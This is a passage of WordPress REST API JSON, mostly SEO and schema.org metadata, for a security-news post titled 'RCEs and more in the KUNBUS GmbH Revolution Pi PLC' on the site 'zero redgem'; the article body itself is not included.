redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-05-08T03:35:31+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=3566#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=3566\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=3566#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"RCEs and more in the KUNBUS GmbH Revolution Pi PLC\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"RCEs and more in the KUNBUS GmbH Revolution Pi PLC - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=3566","og_locale":"en_US","og_type":"article","og_title":"RCEs and more in the KUNBUS GmbH Revolution Pi PLC - zero redgem","og_description":"Security Update News Update Information Title RCEs and more in the KUNBUS GmbH Revolution Pi PLC Update ID PENTESTPARTNERS:3E4E7F7EA8A3B882725E1415D8315308 Type pentestpartners Published 2025-05-08T05:36:30 Last Updated...","og_url":"https:\/\/zero.redgem.net\/?p=3566","og_site_name":"zero redgem","article_published_time":"2025-05-08T03:35:31+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"14 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=3566#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=3566"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"RCEs and more in the KUNBUS GmbH Revolution Pi PLC","datePublished":"2025-05-08T03:35:31+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=3566"},"wordCount":2708,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.3","exploit","news","pentestpartners","Security","tapic","Vulnerability"],"articleSection":["category_news"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=3566#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=3566","url":"https:\/\/zero.redgem.net\/?p=3566","name":"RCEs and more in the KUNBUS GmbH Revolution Pi PLC - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-05-08T03:35:31+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=3566#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=3566"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=3566#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"RCEs and more in the KUNBUS GmbH Revolution Pi PLC"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/3566","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3566"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/3566\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3566"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3566"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3566"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}